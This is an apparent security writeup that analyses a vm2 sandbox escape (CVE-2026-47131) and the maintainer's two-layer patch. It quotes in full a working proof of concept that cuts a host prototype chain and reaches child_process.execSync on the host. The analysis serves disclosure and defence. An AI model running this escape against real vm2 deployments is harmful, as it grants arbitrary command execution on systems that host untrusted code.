Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")
The PoC's first line resolves the host's Object.prototype.__proto__ setter into a sandbox-visible reference. Walked piece by piece:
Buffer in the sandbox is a bridge proxy of the host Buffer constructor function.
Buffer.call resolves to host Function.prototype.call, wrapped. Function.prototype.call is a method on every host function; the wrapper presents it as a method on the wrapped Buffer.
Buffer.call.call(receiver, arg1, arg2) invokes Function.prototype.call with receiver as the function-to-call and [arg1, arg2] as its arguments. After the apply trap fires and unwraps, the host machinery executes receiver(arg1, arg2) in the host realm.
{}.__lookupSetter__ is the host's Object.prototype.__lookupSetter__ method, reached through the sandbox's Object.prototype, which is wired to the host's through the bridge.
- The full expression therefore executes, in the host realm:
Object.prototype.__lookupSetter__.call(Buffer, "__proto__"). That returns the setter function on Buffer.__proto__'s accessor descriptor, which is the inherited host Object.prototype.__proto__ setter.
The bridge wraps the returned function on the way back into the sandbox. Sandbox code now holds a wrapped reference to the host's prototype mutator.
const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");
setProto.call(someHostObject, null);
The second call is, after the apply trap unwraps setProto and someHostObject, a host-realm invocation of the host's __proto__ setter with someHostObject as the receiver and null as the value. V8's internal setter assigns null to someHostObject's [[Prototype]]. The mutation happens inside the host setter, in host machinery, with someHostObject as the raw host receiver.
The bridge's set trap was never invoked. The bridge's defineProperty trap was never invoked. The bridge's setPrototypeOf trap was never invoked. Those three traps fire when the sandbox writes a property through a proxy. The sandbox did not write a property through a proxy. The sandbox called a function. The function did the write.
The maintainer's commit message for CVE-2026-47131 names it:
the apply trap let sandbox code invoke these intrinsics as functions with a wrapped host object as this, which bypasses every write trap because the actual mutation happens inside the host-realm intrinsic, not through a proxy.
The chain: sever once, throw twice, walk through unwrapped
Mutating a host object's prototype is the precondition, not the escape. The escape pivots through thisEnsureThis, the bridge function that decides whether a value arriving from the host realm needs a proxy wrap. Its decision is implemented as a walk up the value's [[Prototype]] chain looking for a previously-registered host-to-sandbox mapping. When the walk finds a mapping, it returns the registered wrap. When the walk reaches the top without finding one, the fall-through returns the raw host value to sandbox code.
A truncated chain reaches the top without finding any mapping. The fall-through fires. The host value reaches sandbox code raw. Then e.constructor.constructor is host Function, and Function("return process")() runs in the host realm with the host's process global as its scope chain.
The canonical PoC is reproduced verbatim in vm2's own docs/ATTACKS.md Category 30:
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
"use strict";
const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try { await WebAssembly.compileStreaming(); }
catch(e) { setProto.call(getProto.call(e), null); }
try { await WebAssembly.compileStreaming(); }
catch(e) {
const HostFunction = e.constructor.constructor;
new HostFunction("return process")()
.mainModule.require('child_process').execSync('touch pwned');
}
}
f();
`);
Walked in order:
WebAssembly.compileStreaming() with no argument throws a host-realm TypeError. The error is constructed in host machinery with host TypeError.prototype as its [[Prototype]].
- The async function's reject machinery delivers the error to the first
catch (e). The bridge has not seen this host instance before; it wraps it on first contact. e is a wrapped proxy whose underlying target is the raw host TypeError.
getProto.call(e) is, after the apply trap unwraps, host Object.prototype.__proto__.get.call(e). It returns host TypeError.prototype, wrapped by the bridge on the way back.
setProto.call(getProto.call(e), null) calls the host setter on host TypeError.prototype with null. The apply trap unwraps both the function and the receiver and forwards. V8's internal setter severs host TypeError.prototype.[[Prototype]] from host Error.prototype to null.
- The second
WebAssembly.compileStreaming() throws a fresh host TypeError. New instance; the bridge has not wrapped this one.
- The async-reject machinery delivers the new error to the second
catch (e). Before delivery, the bridge invokes thisEnsureThis to decide how to present the value. thisEnsureThis walks the new error's [[Prototype]] chain: host TypeError.prototype (no mapping at that level), then one level up, which is now null because step 4 severed it. The walk terminates without finding a mapping. The fall-through returns the raw host TypeError.
e.constructor reads .constructor directly off the raw host TypeError. The chain above it is severed, but .constructor is on TypeError.prototype itself and resolves to raw host TypeError. .constructor again gives host Function. new HostFunction("return process")() evaluates return process in the host realm; process is host's process global. .mainModule.require('child_process').execSync('touch pwned') runs on the host filesystem.
Steps 4 and 6 are the bridge's defense crossed twice in the same chain. The apply trap forwarded the prototype write at step 4. The proto-walk fell through to a raw host value at step 6. Two paths in lib/bridge.js, both producing the failure mode the file exists to prevent.
The fix is two layers. The blocklist is hand-maintained.
The patch for CVE-2026-47131 is commit 27c525f. It modifies lib/bridge.js along both axes the chain crossed.
Write side: the apply trap. The patch adds a ThisWeakMap keyed by the identity of every host-realm function that mutates [[Prototype]] or could install code that does. The maintainer enumerates eight:
addDangerousHostProtoMutator(
otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Object, '__proto__').set
);
// host Object.prototype.__defineSetter__ / __defineGetter__
// host Object.setPrototypeOf / Object.defineProperty / Object.defineProperties
// host Reflect.setPrototypeOf / Reflect.defineProperty
The apply trap checks isDangerousHostProtoMutator(object) before forwarding. If the function being applied is in the set, the trap throws VMError(OPNA) and the host intrinsic never runs.
Direct invocation through the proxy is closed by that check. Indirection requires more. Function.prototype.call, Function.prototype.apply, Function.prototype.bind, Reflect.apply, and Reflect.construct are themselves host functions that take a target function as a parameter. Applying any of them to a wrapped dangerous target does not consult the underlying target's identity unless the apply trap looks one layer deeper:
if (!isHost) {
if (isDangerousHostProtoMutator(object)) throw new VMError(OPNA);
// Peel one indirection layer: Function.prototype.call / .apply / .bind
if (isApplyIndirectionPrimitive(object)) {
const underlying = otherFromThis(context);
if (isDangerousHostProtoMutator(underlying)) throw new VMError(OPNA);
}
// Peel Reflect.apply / Reflect.construct (underlying is args[0])
if (isReflectApplyPrimitive(object)) {
const underlying = otherFromThis(args[0]);
if (isDangerousHostProtoMutator(underlying)) throw new VMError(OPNA);
}
}
The peel is depth one. The patch's comment claims V8 collapses recursive indirection like Function.prototype.call.call(...) into the same apply-target shape at the engine level, so depth-1 peel handles arbitrary stacking. That is an empirical property of one engine, not a property of the language spec. The defense is depth-correct because V8 currently is.
Read side: the proto-walk fall-through. The patch adds a cache check at the top of thisEnsureThis:
function thisEnsureThis(other) {
// SECURITY (GHSA-v6mx-mf47-r5wg): cache check before proto walk.
const cached = thisFromOther(other);
if (cached !== undefined) return cached;
// ... existing proto-walk fallback unchanged ...
}
Any host value the bridge has previously wrapped now returns from the cache regardless of whether its prototype chain has since been tampered with. The walk's fall-through is intentionally untouched, because wrapping it would reintroduce GHSA-9vg3-4rfj-wgcm, the null-proto throw write-through patched eight days earlier. Two CVEs constrain the fix from opposite directions. The maintainer holds both invariants by adding a check above the walk and leaving the walk alone.
The blocklist is the load-bearing piece. It is a hand-maintained identity set of host intrinsics the maintainer knows mutate [[Prototype]]. ECMAScript specifies the floor of that set, not the ceiling. Node and V8 ship realm-internal accessors the spec does not enumerate. The next prototype-mutating function V8 adds is not in dangerousHostProtoMutators until the maintainer adds it, which happens after the next researcher writes the next PoC.
Category 30 cites Categories 2, 4, and 7
docs/ATTACKS.md is 2,535 lines at this commit. The patch added 131 of them as Attack Category 30. The file's structure is a flat numbered list, each category with Description, Attack Flow, Canonical Example, Why It Works, Mitigation, Detection. Categories 1 through 29 cover the bridge bypasses vm2 has shipped patches for since 2018. Category 30 is the new entry. The file is maintained by the same person who maintains the bridge.
Category 30's first non-heading line is a back-reference:
**Uses**: [Category 2: Prototype Chain Manipulation](#attack-category-2-prototype-chain-manipulation),
[Category 4: Error Object Exploitation](#attack-category-4-error-object-exploitation),
[Category 7: Promise and Async Exploitation](#attack-category-7-promise-and-async-exploitation).
Categories 2, 4, and 7 are the three primitives Category 30 composes. The prototype walk through __proto__ is Category 2. The host TypeError reached via e.constructor.constructor is Category 4. The async-reject machinery that delivers the raw host error back into sandbox code is Category 7. Each of the three has its own canonical PoC, its own mitigation, and a first-shipped date predating Category 30 by years. Category 30 is the composition of three already-documented primitives the bridge stopped individually.
This is what vm2's attack catalog has become. Not a list. A graph. Category 33, the JSPI escape patched eight days after this one, names its own structural property (sandbox-visible Promise with host-realm prototype) and its own Compound Attack Pattern (number 25 in the same file). Categories 34 and 35 ship the same week, each with their own Uses: lines. ATTACKS.md is now indexed against itself, with the maintainer as the only person drawing the edges.
The README's "Important Security Disclaimer" tells callers, in prose, that "researchers and security professionals continuously discover new ways to escape the vm2 sandbox." CVE-2026-24120's writeup walked that admission as it appears in the README. ATTACKS.md is the indexed version. Thirty categories, hand-curated, cross-referenced, written by the maintainer who keeps closing the rows. It is the canonical unpatchable-primitive accounting log of a Design Debt Driver whose substrate is JavaScript itself: the bridge fails by composition of primitives it has already individually patched, and the Uses: annotations are the documentation of which compositions have already shipped. The same README's "More Robust Alternatives" section tells callers to use process or hardware isolation for "arbitrary user submissions," which reads as the-detector-is-the-target self-disclosure: vm2 exists to run untrusted code, and its own documentation names the input class the maintainer recommends against subjecting it to.
PoC: vm2's own test fixture at test/ghsa/GHSA-v6mx-mf47-r5wg/repro.js. Patch: 27c525f in vm2 v3.11.4. Advisory: GHSA-v6mx-mf47-r5wg.
Category 30 is the row. Categories 2, 4, and 7 are the edge.